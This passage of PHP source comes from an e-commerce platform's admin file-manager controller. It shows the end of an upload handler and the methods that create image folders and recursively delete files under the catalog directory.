if ($this->request->files['file']['error'] != UPLOAD_ERR_OK) {
$json['error'] = $this->language->get('error_upload_' . $this->request->files['file']['error']);
}
} else {
$json['error'] = $this->language->get('error_upload');
}
}
if (!$json) {
move_uploaded_file($this->request->files['file']['tmp_name'], $directory . '/' . $filename);
$json['success'] = $this->language->get('text_uploaded');
}
$this->response->addHeader('Content-Type: application/json');
$this->response->setOutput(json_encode($json));
}
public function folder() {
$this->load->language('common/filemanager');
$json = array();
// Check user has permission
if (!$this->user->hasPermission('modify', 'common/filemanager')) {
$json['error'] = $this->language->get('error_permission');
}
// Make sure we have the correct directory
if (isset($this->request->get['directory'])) {
$directory = rtrim(DIR_IMAGE . 'catalog/' . str_replace(array('../', '..\\', '..'), '', $this->request->get['directory']), '/');
} else {
$directory = DIR_IMAGE . 'catalog';
}
// Check its a directory
if (!is_dir($directory)) {
$json['error'] = $this->language->get('error_directory');
}
if (!$json) {
// Sanitize the folder name
$folder = str_replace(array('../', '..\\', '..'), '', basename(html_entity_decode($this->request->post['folder'], ENT_QUOTES, 'UTF-8')));
// Validate the filename length
if ((utf8_strlen($folder) < 3) || (utf8_strlen($folder) > 128)) {
$json['error'] = $this->language->get('error_folder');
}
// Check if directory already exists or not
if (is_dir($directory . '/' . $folder)) {
$json['error'] = $this->language->get('error_exists');
}
}
if (!$json) {
mkdir($directory . '/' . $folder, 0777);
chmod($directory . '/' . $folder, 0777);
$json['success'] = $this->language->get('text_directory');
}
$this->response->addHeader('Content-Type: application/json');
$this->response->setOutput(json_encode($json));
}
public function delete() {
$this->load->language('common/filemanager');
$json = array();
// Check user has permission
if (!$this->user->hasPermission('modify', 'common/filemanager')) {
$json['error'] = $this->language->get('error_permission');
}
if (isset($this->request->post['path'])) {
$paths = $this->request->post['path'];
} else {
$paths = array();
}
// Loop through each path to run validations
foreach ($paths as $path) {
$path = rtrim(DIR_IMAGE . str_replace(array('../', '..\\', '..'), '', $path), '/');
// Check path exsists
if ($path == DIR_IMAGE . 'catalog') {
$json['error'] = $this->language->get('error_delete');
break;
}
}
if (!$json) {
// Loop through each path
foreach ($paths as $path) {
$path = rtrim(DIR_IMAGE . str_replace(array('../', '..\\', '..'), '', $path), '/');
// If path is just a file delete it
if (is_file($path)) {
unlink($path);
// If path is a directory beging deleting each file and sub folder
} elseif (is_dir($path)) {
$files = array();
// Make path into an array
$path = array($path . '*');
// While the path array is still populated keep looping through
while (count($path) != 0) {
$next = array_shift($path);
foreach (glob($next) as $file) {
// If directory add to path array
if (is_dir($file)) {
$path[] = $file . '/*';
}
// Add the file to the files to be deleted array
$files[] = $file;
}
}
// Reverse sort the file array
rsort($files);
foreach ($files as $file) {
// If file just delete
if (is_file($file)) {
unlink($file);
// If directory use the remove directory function
} elseif (is_dir($file)) {
rmdir($file);
}
}
}
}
$json['success'] = $this->language->get('text_delete');
}
$this->response->addHeader('Content-Type: application/json');
$this->response->setOutput(json_encode($json));
}
}

Categories